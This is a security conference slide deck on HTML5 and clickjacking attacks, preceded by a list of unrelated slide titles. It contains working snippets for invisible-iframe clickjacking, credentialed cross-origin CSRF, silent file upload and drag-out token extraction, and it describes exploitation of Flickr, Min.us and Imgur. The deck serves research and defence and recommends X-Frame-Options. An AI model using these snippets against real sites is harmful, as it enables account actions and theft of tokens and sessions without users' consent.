Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challenges
 
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 

Html5: something wicked this way comes

  • 1. HTML5: Something wicked this way comes Krzysztof Kotowicz Securing 1
  • 2. About me • security researcher • HTML 5 • UI redressing / clickjacking • xss-track, squid-imposter, ... • pentester • IT security trainer • „Hacking HTML5” 2
  • 3. Plan • Same origin policy • Exploiting users • Attack gadgets • Wrap-up 3
  • 4. Same origin policy • the single most important security concept for the web • restricts communication between websites from different domains • has many flavors • without it hell breaks loose 4
  • 5. Same origin policy • can be relaxed though • crossdomain.xml • document.domain • HTML5 Cross Origin Resource Sharing • or ignored... • by exploiting users • UI redressing (clickjacking) 5
  • 6. Exploiting users Users • Like games • 100 mln play social games //goo.gl/RRWlM • Are not security-savvy 6
  • 7. Exploiting users //goo.gl/DgPpY 7
  • 8. Combined attacks • Gadgets • HTML5 • UI redressing • Join them • New attacks 8
  • 11. Basic clickjacking 20x20 <iframe> 11
  • 12. Basic clickjacking <iframe> -300 -350 20x20 12
  • 13. Basic clickjacking <iframe> Victim website 20x20 Like us, plz! 13
  • 14. Basic clickjacking <iframe src=outer.html width=20 height=20 scrolling=no style="opacity:0;"></iframe> <!-- outer.html --> <iframe src="//victim" width=5000 height=5000 style="position: absolute; top:-300px; left: -350px;"></iframe> 14
  • 15. Basic clickjacking • Trick: Click here to see a video! • User action: click + Any clickable action + Works in every browser - X-Frame-Option - JS framebusting 15
  • 16. HTML5 IFRAME sandbox • Used to embed untrusted content • prevents XSS • prevents defacement • Facilitates clickjacking! <iframe sandbox="allow-same-origin allow-forms allow-scripts" src="//victim"></iframe> //html5sec.org/#122 16
  • 17. HTML5 IFRAME sandbox + Chrome / Safari / IE 10 + Will disable most JS framebusters - X-Frame-Option 17
  • 18. Cross Origin Resource Sharing • HTML5-ish • Cross domain AJAX • With cookies • Blind • Unless the receiving site agrees • Not limited to <form> syntax • Used to trigger CSRF 18
  • 19. Cross Origin Resource Sharing var xhr = new XMLHttpRequest();      xhr.open("POST", "http://victim", true); xhr.setRequestHeader("Content-Type", "text/plain"); xhr.withCredentials = "true"; // send cookies xhr.send("Anything I want"); 19
  • 20. Cross Origin Resource Sharing POST / HTTP/1.1 Host: victim Connection: keep-alive Referer: http://dev.localhost/temp/cors.php Content-Length: 15 Origin: http://dev.localhost Content-Type: text/plain ... Cookie: my-cookie=myvalue Anything I want 20
  • 21. Silent file upload • File upload purely in Javascript • Silent <input type=file> with any file name and content • Uses CORS • How? Create raw multipart/form-data 21
  • 22. Silent file upload function fileUpload(url, fileData, fileName) {    var fileSize = fileData.length,      boundary = "xxxxxxxxx",      xhr = new XMLHttpRequest();         xhr.open("POST", url, true);    xhr.withCredentials = "true";    xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);    xhr.setRequestHeader("Content-Length", fileSize); 22
  • 23. Silent file upload var body = " --" + boundary + 'rn Content-Disposition: form-data; name="contents"; filename="' + fileName + '"rn Content-Type: application/octet-streamrn rn ' + fileData + 'rn --' + boundary + '--'; xhr.send(body); 23
  • 24. Silent file upload + No user action + No frames + Cross-domain, with cookies + Works in most browsers + You can add more form fields - CSRF flaw needed - No access to response 24
  • 25. Silent file upload DEMO Flickr.com 25
  • 26. Flickr.com attack toolbox • Remember me • Flickr creates logged session on first request • CSRF file upload • http://up.flickr.com/photos/upload/transfer/ • accepts file uploads • token check skipped 26
  • 27. Drag into • Put attackers content into victim form 27
  • 28. Drag into DEMO Alphabet Hero 28
  • 29. Drag into • Trick: Put paper in the can! • User action: drag & drop, click + Inject arbitrary content + Trigger self-XSS - Firefox only - X-Frame-Option - JS framebusting 29
  • 30. Drag into Self-XSS in real life: • wordpress 0-day (Jelmer de Hen) //goo.gl/dNYi5 • chronme.com (sneaked.net) //goo.gl/hs7Bw • Google Code vulns (Amol Naik) //goo.gl/NxKFY 30
  • 31. Drag out content extraction image image 31
  • 32. Drag out content extraction image victim <iframe> image 32
  • 33. Drag out content extraction image victim <iframe> textarea <textarea> 33
  • 34. Drag out content extraction <div id=game style="position:relative">   <img style="position:absolute;..." src="paper.png" />   <img style="position:absolute;..." src="trash.png" />       <iframe scrolling=no id=iframe style="position:absolute;opacity:0;..."> </iframe>    <textarea style="position:absolute; opacity:0;..." id=dropper></textarea> </div> 34
  • 35. Drag out content extraction 35
  • 36. Drag out content extraction 36
  • 37. Drag out content extraction $("#iframe").attr('src', 'outer.html’); $('#dropper').bind('drop', function() {     setTimeout(function() {         var urlmatch = $("#dropper").val() .match(/token=([a-h0-9]+)$/);         if (urlmatch) {             var token = urlmatch[1];             // do EVIL         }     }, 100); }); 37
  • 38. Drag out content extraction • Trick: Put paper in the can! • User action: drag & drop + Access sensitive content cross domain - Firefox only - X-Frame-Option - JS framebusting 38
  • 39. Drag out content extraction DEMO Min.us 39
  • 40. Min.us attack toolbox • CORS to create gallery • social engineering • extract gallery editor-id from <a href> • silent file upload to gallery • CORS change gallery to public • HTML5 + UI redressing combined! 40
  • 41. View-source • Display HTML source in frame • session IDs • tokens • private data <iframe src="view-source:view-source:http://victim" width=5000 height=5000 style="position: absolute; top: -300px; left: -150px;"> </iframe> 41
  • 44. View-source • Trick: Your serial number is... • User action: select + drag & drop, copy-paste + Beats JS framebusting + Already earned $500 from Facebook - X-Frame-Options - Firefox only - Complicated user action 44
  • 45. View-source DEMO Imgur.com 45
  • 46. Imgur.com attack toolbox • framed view-source: • captcha-like string (AdSense ID) • session ID • social engineering: • trick to copy/paste page source • Exploitation: • http://api.imgur.com • cookie auth, no IP limits for session 46
  • 47. Summary • UI redressing attacks are improving • HTML5 helps exploiting vulnerabilities • Users can be a weak link too! Devs: Use X-Frame-Options: DENY 47
  • 48. Links • html5sec.org • code.google.com/p/html5security • www.contextis.co.uk/research/white-papers/ clickjacking • blog.kotowicz.net • github.com/koto Twitter: @kkotowicz kkotowicz@securing.pl 48
  • 49. ? 49